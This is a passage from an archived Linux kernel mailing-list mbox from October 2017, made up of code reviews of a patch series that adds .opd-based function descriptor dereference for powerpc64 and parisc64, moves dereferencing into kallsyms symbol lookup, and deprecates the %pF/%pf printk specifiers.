        id S1750787AbdJDJVL (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 4 Oct 2017 05:21:11 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id ADB81AC0B;
        Wed,  4 Oct 2017 09:21:09 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170930025319.987-5-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28214 gmane.linux.ports.parisc:27892 gmane.linux.ports.ppc64.devel:148549 gmane.linux.kernel:2583521
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28214>

On Sat 2017-09-30 11:53:16, Sergey Senozhatsky wrote:
> We are moving towards separate kernel and module function descriptor
> dereference callbacks. This patch enables it for powerpc64.
> 
> For pointers that belong to the kernel
> -  Added __start_opd and __end_opd pointers, to track the kernel
>    .opd section address range;
> 
> -  Added dereference_kernel_function_descriptor(). Now we
>    will dereference only function pointers that are within
>    [__start_opd, __end_opd];
> 
> For pointers that belong to a module
> -  Added dereference_module_function_descriptor() to handle module
>    function descriptor dereference. Now we will dereference only
>    pointers that are within [module->opd.start, module->opd.end].
> 
> Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
> Tested-by: Helge Deller <deller@gmx.de> # parisc64
> Tested-by: Santosh Sivaraj <santosh@fossix.org> # powerpc64
> Acked-by: Michael Ellerman <mpe@ellerman.id.au> # powerpc64
> Tested-by: Tony Luck <tony.luck@intel.com> # ia64
> ---
>  arch/powerpc/include/asm/module.h   |  3 +++
>  arch/powerpc/include/asm/sections.h | 11 +++++++++++
>  arch/powerpc/kernel/module_64.c     | 16 ++++++++++++++++
>  arch/powerpc/kernel/vmlinux.lds.S   |  2 ++
>  4 files changed, 32 insertions(+)
> 
> diff --git a/arch/powerpc/include/asm/module.h b/arch/powerpc/include/asm/module.h
> index 6c0132c7212f..7e28442827f1 100644
> --- a/arch/powerpc/include/asm/module.h
> +++ b/arch/powerpc/include/asm/module.h
> @@ -45,6 +45,9 @@ struct mod_arch_specific {
>  	unsigned long tramp;
>  #endif
>  
> +	/* For module function descriptor dereference */
> +	unsigned long start_opd;
> +	unsigned long end_opd;
>  #else /* powerpc64 */
>  	/* Indices of PLT sections within module. */
>  	unsigned int core_plt_section;
> diff --git a/arch/powerpc/include/asm/sections.h b/arch/powerpc/include/asm/sections.h
> index 67379b8945e8..6b4ee0d1645f 100644
> --- a/arch/powerpc/include/asm/sections.h
> +++ b/arch/powerpc/include/asm/sections.h
> @@ -75,6 +75,17 @@ static inline unsigned long dereference_function_descriptor(unsigned long ptr)
>  		ptr = (unsigned long)p;
>  	return ptr;
>  }
> +
> +#undef dereference_kernel_function_descriptor
> +static inline unsigned long
> +dereference_kernel_function_descriptor(unsigned long addr)
> +{
> +	if (addr < (unsigned long)__start_opd ||
> +			addr >= (unsigned long)__end_opd)
> +		return addr;
> +
> +	return dereference_function_descriptor(addr);
> +}
>  #endif /* PPC64_ELF_ABI_v1 */
>  
>  #endif
> diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
> index 0b0f89685b67..94caec045a90 100644
> --- a/arch/powerpc/kernel/module_64.c
> +++ b/arch/powerpc/kernel/module_64.c
> @@ -344,6 +344,11 @@ int module_frob_arch_sections(Elf64_Ehdr *hdr,
>  		else if (strcmp(secstrings+sechdrs[i].sh_name,"__versions")==0)
>  			dedotify_versions((void *)hdr + sechdrs[i].sh_offset,
>  					  sechdrs[i].sh_size);
> +		else if (!strcmp(secstrings + sechdrs[i].sh_name, ".opd")) {
> +			me->arch.start_opd = sechdrs[i].sh_addr;
> +			me->arch.end_opd = sechdrs[i].sh_addr +
> +					   sechdrs[i].sh_size;
> +		}
>  
>  		/* We don't handle .init for the moment: rename to _init */
>  		while ((p = strstr(secstrings + sechdrs[i].sh_name, ".init")))
> @@ -712,6 +717,17 @@ int apply_relocate_add(Elf64_Shdr *sechdrs,
>  	return 0;
>  }
>  
> +#ifdef PPC64_ELF_ABI_v1
> +unsigned long dereference_module_function_descriptor(struct module *mod,
> +						     unsigned long addr)
> +{
> +	if (addr < mod->arch.start_opd || addr >= mod->arch.end_opd)
> +		return addr;
> +
> +	return dereference_function_descriptor(addr);
> +}
> +#endif /* PPC64_ELF_ABI_v1 */

I would personally move this up in the source file. It is related to
the definition of func_desc() and other functions that are
also PPC_ELF_ABI-specific.

Otherwise, it looks good to me.

Reviewed-by: Petr Mladek <pmladek@suse.com>

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 5/7] parisc64: Add .opd based function descriptor
 dereference
Date: Wed, 4 Oct 2017 12:40:16 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <20171004104016.GG20084@pathway.suse.cz>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-6-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507113623 27911 195.159.176.226 (4 Oct 2017 10:40:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Oct 2017 10:40:23 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Oct 04 12:40:16 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dzh66-0007L2-OB
	for glpi-linux-ia64-2@m.gmane.org; Wed, 04 Oct 2017 12:40:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751314AbdJDKkW (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 4 Oct 2017 06:40:22 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:34105 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751114AbdJDKkV (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 4 Oct 2017 06:40:21 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 99979AF68;
        Wed,  4 Oct 2017 10:40:18 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170930025319.987-6-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28215 gmane.linux.ports.parisc:27893 gmane.linux.ports.ppc64.devel:148553 gmane.linux.kernel:2583580
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28215>

On Sat 2017-09-30 11:53:17, Sergey Senozhatsky wrote:
> We are moving towards separate kernel and module function descriptor
> dereference callbacks. This patch enables it for parisc64.
> 
> For pointers that belong to the kernel
> -  Added __start_opd and __end_opd pointers, to track the kernel
>    .opd section address range;
> 
> -  Added dereference_kernel_function_descriptor(). Now we
>    will dereference only function pointers that are within
>    [__start_opd, __end_opd];
> 
> For pointers that belong to a module
> -  Added dereference_module_function_descriptor() to handle module
>    function descriptor dereference. Now we will dereference only
>    pointers that are within [module->opd.start, module->opd.end].

> diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
> index f1a76935a314..28f89b3dcc11 100644
> --- a/arch/parisc/kernel/module.c
> +++ b/arch/parisc/kernel/module.c
> @@ -954,3 +955,19 @@ void module_arch_cleanup(struct module *mod)
>  {
>  	deregister_unwind_table(mod);
>  }
> +
> +#ifdef CONFIG_64BIT
> +unsigned long dereference_module_function_descriptor(struct module *mod,
> +						     unsigned long addr)
> +{
> +	unsigned long start_opd = (Elf64_Addr)mod->core_layout.base +
> +				   mod->arch.fdesc_offset;
> +	unsigned long end_opd = start_opd +
> +				mod->arch.fdesc_count * sizeof(Elf64_Fdesc);

I know that this is used in rather slow paths. But it still might
make sense to have these section borders pre-computed and
stored in struct mod_arch_specific. I mean to do similar
thing that we do on powerpc.

Well, we could do this in a followup patch if parisc people
wanted it.


> +	if (addr < start_opd || addr >= end_opd)
> +		return addr;
> +
> +	return dereference_function_descriptor(addr);
> +}
> +#endif

Otherwise the patch looks fine to me.

Reviewed-by: Petr Mladek <pmladek@suse.com>

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 4/7] powerpc64: Add .opd based function descriptor dereference
Date: Wed, 04 Oct 2017 22:06:35 +1100
Lines: 36
Approved: news@gmane.org
Message-ID: <87r2ujp3yc.fsf@concordia.ellerman.id.au>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com> <20170930025319.987-5-sergey.senozhatsky@gmail.com> <20171004092108.GF20084@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1507115203 27827 195.159.176.226 (4 Oct 2017 11:06:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Oct 2017 11:06:43 +0000 (UTC)
Cc: Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Petr Mladek <pmladek@suse.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Oct 04 13:06:35 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dzhVa-0004on-Gu
	for glpi-linux-ia64-2@m.gmane.org; Wed, 04 Oct 2017 13:06:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751749AbdJDLGl (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 4 Oct 2017 07:06:41 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:35823 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751446AbdJDLGk (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 4 Oct 2017 07:06:40 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3y6Y4Z5KM6z9t2Z;
        Wed,  4 Oct 2017 22:06:38 +1100 (AEDT)
In-Reply-To: <20171004092108.GF20084@pathway.suse.cz>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28216 gmane.linux.ports.parisc:27894 gmane.linux.ports.ppc64.devel:148554 gmane.linux.kernel:2583604
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28216>

Petr Mladek <pmladek@suse.com> writes:
> On Sat 2017-09-30 11:53:16, Sergey Senozhatsky wrote:
>> diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
>> index 0b0f89685b67..94caec045a90 100644
>> --- a/arch/powerpc/kernel/module_64.c
>> +++ b/arch/powerpc/kernel/module_64.c
>> @@ -712,6 +717,17 @@ int apply_relocate_add(Elf64_Shdr *sechdrs,
>>  	return 0;
>>  }
>>  
>> +#ifdef PPC64_ELF_ABI_v1
>> +unsigned long dereference_module_function_descriptor(struct module *mod,
>> +						     unsigned long addr)
>> +{
>> +	if (addr < mod->arch.start_opd || addr >= mod->arch.end_opd)
>> +		return addr;
>> +
>> +	return dereference_function_descriptor(addr);
>> +}
>> +#endif /* PPC64_ELF_ABI_v1 */
>
> I would personally move this up in the source file. It is related to
> the definition of func_desc() and other functions that are
> also PPC_ELF_ABI-specific.

Yeah that would be neater. There's already a PPC64_ELF_ABI_v2 block, you
could put this in the else case of that.

But we can do that later if you're not respinning otherwise.

cheers
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 6/7] symbol lookup: use new kernel and module
 dereference functions
Date: Wed, 4 Oct 2017 13:53:06 +0200
Lines: 135
Approved: news@gmane.org
Message-ID: <20171004115306.GH20084@pathway.suse.cz>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-7-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507117993 1276 195.159.176.226 (4 Oct 2017 11:53:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Oct 2017 11:53:13 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 04 13:53:06 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dziEb-0004mC-Eo
	for glpp-linux-parisc@m.gmane.org; Wed, 04 Oct 2017 13:53:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751910AbdJDLxN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 4 Oct 2017 07:53:13 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:45098 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751546AbdJDLxL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 4 Oct 2017 07:53:11 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 42F0BAAB6;
        Wed,  4 Oct 2017 11:53:09 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170930025319.987-7-sergey.senozhatsky@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27895 gmane.linux.ports.ia64:28217 gmane.linux.ports.ppc64.devel:148557 gmane.linux.kernel:2583656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27895>

On Sat 2017-09-30 11:53:18, Sergey Senozhatsky wrote:
> Call appropriate function descriptor dereference ARCH callbacks:
> - dereference_kernel_function_descriptor() if the pointer is a
>   kernel symbol;
> 
> - dereference_module_function_descriptor() if the pointer is a
>   module symbol.
> 
> This patch also removes dereference_function_descriptor() from
> '%pF/%pf' vsprintf handler, because it has the same behavior with
> '%pS/%ps' now.

The description is pretty criptic. It should explain why
the dereference was moved from vsprintf to the symbol lookup
and if it is safe.

Note that kallsyms_lookup() and module_address_lookup() is used
in many other situations.

Also I would not be afraid to repeat description of the big picture
from the 2nd patch.

> Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
> Tested-by: Helge Deller <deller@gmx.de> # parisc64
> Tested-by: Santosh Sivaraj <santosh@fossix.org> # powerpc64
> Acked-by: Michael Ellerman <mpe@ellerman.id.au> # powerpc64
> Tested-by: Tony Luck <tony.luck@intel.com> # ia64
> ---
>  Documentation/printk-formats.txt | 20 ++++++++++----------
>  kernel/kallsyms.c                |  1 +
>  kernel/module.c                  |  1 +
>  lib/vsprintf.c                   |  5 +----
>  4 files changed, 13 insertions(+), 14 deletions(-)
> 
> diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
> index 361789df51ec..3adbc4fdd482 100644
> --- a/Documentation/printk-formats.txt
> +++ b/Documentation/printk-formats.txt
> @@ -50,26 +50,28 @@ Symbols/Function Pointers
>  
>  ::
>  
> +	%pS	versatile_init+0x0/0x110
> +	%ps	versatile_init
>  	%pF	versatile_init+0x0/0x110
>  	%pf	versatile_init
> -	%pS	versatile_init+0x0/0x110
>  	%pSR	versatile_init+0x9/0x110
>  		(with __builtin_extract_return_addr() translation)
> -	%ps	versatile_init
>  	%pB	prev_fn_of_versatile_init+0x88/0x88
>  
> -The ``F`` and ``f`` specifiers are for printing function pointers,
> -for example, f->func, &gettimeofday. They have the same result as
> -``S`` and ``s`` specifiers. But they do an extra conversion on
> -ia64, ppc64 and parisc64 architectures where the function pointers
> -are actually function descriptors.
> -
>  The ``S`` and ``s`` specifiers can be used for printing symbols
>  from direct addresses, for example, __builtin_return_address(0),
>  (void *)regs->ip. They result in the symbol name with (``S``) or
>  without (``s``) offsets. If KALLSYMS are disabled then the symbol
>  address is printed instead.

This paragraph makes the feeling that ``S`` is still only for direct
adresses. We should update it as well.


> +Note, that the ``F`` and ``f`` specifiers are identical to ``S`` (``s``)
> +and thus deprecated. We have ``F`` and ``f`` because on ia64, ppc64 and
> +parisc64 function pointers are indirect and, in fact, are function
> +descriptors, which require additional dereferencing before we can lookup
> +the symbol. As of now, ``S`` and ``s`` perform dereferencing on those
> +platforms (when needed), so ``F`` and ``f`` exist for compatibility
> +reasons only.
> +
>  The ``B`` specifier results in the symbol name with offsets and should be
>  used when printing stack backtraces. The specifier takes into
>  consideration the effect of compiler optimisations which may occur
> @@ -77,8 +79,6 @@ when tail-call``s are used and marked with the noreturn GCC attribute.
>  
>  Examples::
>  
> -	printk("Going to call: %pF\n", gettimeofday);
> -	printk("Going to call: %pF\n", p->func);
>  	printk("%s: called from %pS\n", __func__, (void *)_RET_IP_);
>  	printk("%s: called from %pS\n", __func__,
>  				(void *)__builtin_return_address(0));

We should either replace %pF with %pS or remove all examples.
It is strange to keep only half of them.


> diff --git a/kernel/kallsyms.c b/kernel/kallsyms.c
> index 127e7cfafa55..e2fc09ea9509 100644
> --- a/kernel/kallsyms.c
> +++ b/kernel/kallsyms.c
> @@ -322,6 +322,7 @@ const char *kallsyms_lookup(unsigned long addr,
>  	if (is_ksym_addr(addr)) {

is_ksym_addr() ignores the special .opd elf sections if
CONFIG_KALLSYMS_ALL is disabled. We should dereference before
this call.

>  		unsigned long pos;
>  
> +		addr = dereference_kernel_function_descriptor(addr);
>  		pos = get_symbol_pos(addr, symbolsize, offset);

I still wonder if doing the dereference in the widely used kallsyms
might cause any regression.

One possible problem is that this function returns "offset".
One might expect that it is offset against "addr" but
it is not if the dereference happens here.

Also get_symbol_pos() is called in several other helpers
but the dereference is done only here. It would be
confusing if for example kallsyms_lookup_size_offset()
and kallsyms_lookup() give different result.

I would feel much more comfortable if we keep the derefenrece
only in vsprintf.


In each case, we need approval from Jessica for the
change in module.c.

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 7/7] checkpatch: add pF/pf deprecation warning
Date: Wed, 4 Oct 2017 14:08:47 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20171004120847.GI20084@pathway.suse.cz>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-8-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507118937 28968 195.159.176.226 (4 Oct 2017 12:08:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Oct 2017 12:08:57 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Joe Perches <joe@perches.com>,
        Andy Whitcroft <apw@canonical.com>
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 04 14:08:48 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dziTk-000298-0l
	for glpp-linux-parisc@m.gmane.org; Wed, 04 Oct 2017 14:08:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751943AbdJDMIv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 4 Oct 2017 08:08:51 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:47063 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751922AbdJDMIu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 4 Oct 2017 08:08:50 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 1BDA4AAB6;
        Wed,  4 Oct 2017 12:08:49 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170930025319.987-8-sergey.senozhatsky@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27896 gmane.linux.ports.ia64:28218 gmane.linux.ports.ppc64.devel:148558 gmane.linux.kernel:2583679
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27896>

On Sat 2017-09-30 11:53:19, Sergey Senozhatsky wrote:
> We deprecated '%pF/%pf' printk specifiers, since '%pS/%ps' is now smart
> enough to handle function pointer dereference on platforms where such
> dereference is required.
> 
> checkpatch warning example:
> 
> WARNING: Deprecated vsprintf pointer extension '%pF' - use %pS instead
> 
> Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
> Signed-off-by: Joe Perches <joe@perches.com>
> Cc: Andy Whitcroft <apw@canonical.com>
> Tested-by: Helge Deller <deller@gmx.de> # parisc64
> Tested-by: Santosh Sivaraj <santosh@fossix.org> # powerpc64
> Acked-by: Michael Ellerman <mpe@ellerman.id.au> # powerpc64
> Tested-by: Tony Luck <tony.luck@intel.com> # ia64

Reviewed-by: Petr Mladek <pmladek@suse.com>

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: [PATCH] net: tulip: Convert timers to use timer_setup()
Date: Wed, 4 Oct 2017 17:51:22 -0700
Lines: 384
Approved: news@gmane.org
Message-ID: <20171005005122.GA23402@beast>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507164694 5048 195.159.176.226 (5 Oct 2017 00:51:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Oct 2017 00:51:34 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
        David Howells <dhowells@redhat.com>,
        Jarod Wilson <jarod@redhat.com>,
        Stephen Hemminger <stephen@networkplumber.org>,
        Johannes Berg <johannes.berg@intel.com>,
        Eric Dumazet <edumazet@google.com>,
        Philippe Reynes <tremyfr@gmail.com>,
        "yuval.shaia@oracle.com" <yuval.shaia@oracle.com>,
        netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        Thomas Gleixner <tglx@linutronix.de>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 05 02:51:27 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dzuNo-0000E1-VM
	for glk-linux-kernel-3@m.gmane.org; Thu, 05 Oct 2017 02:51:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752090AbdJEAva (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 4 Oct 2017 20:51:30 -0400
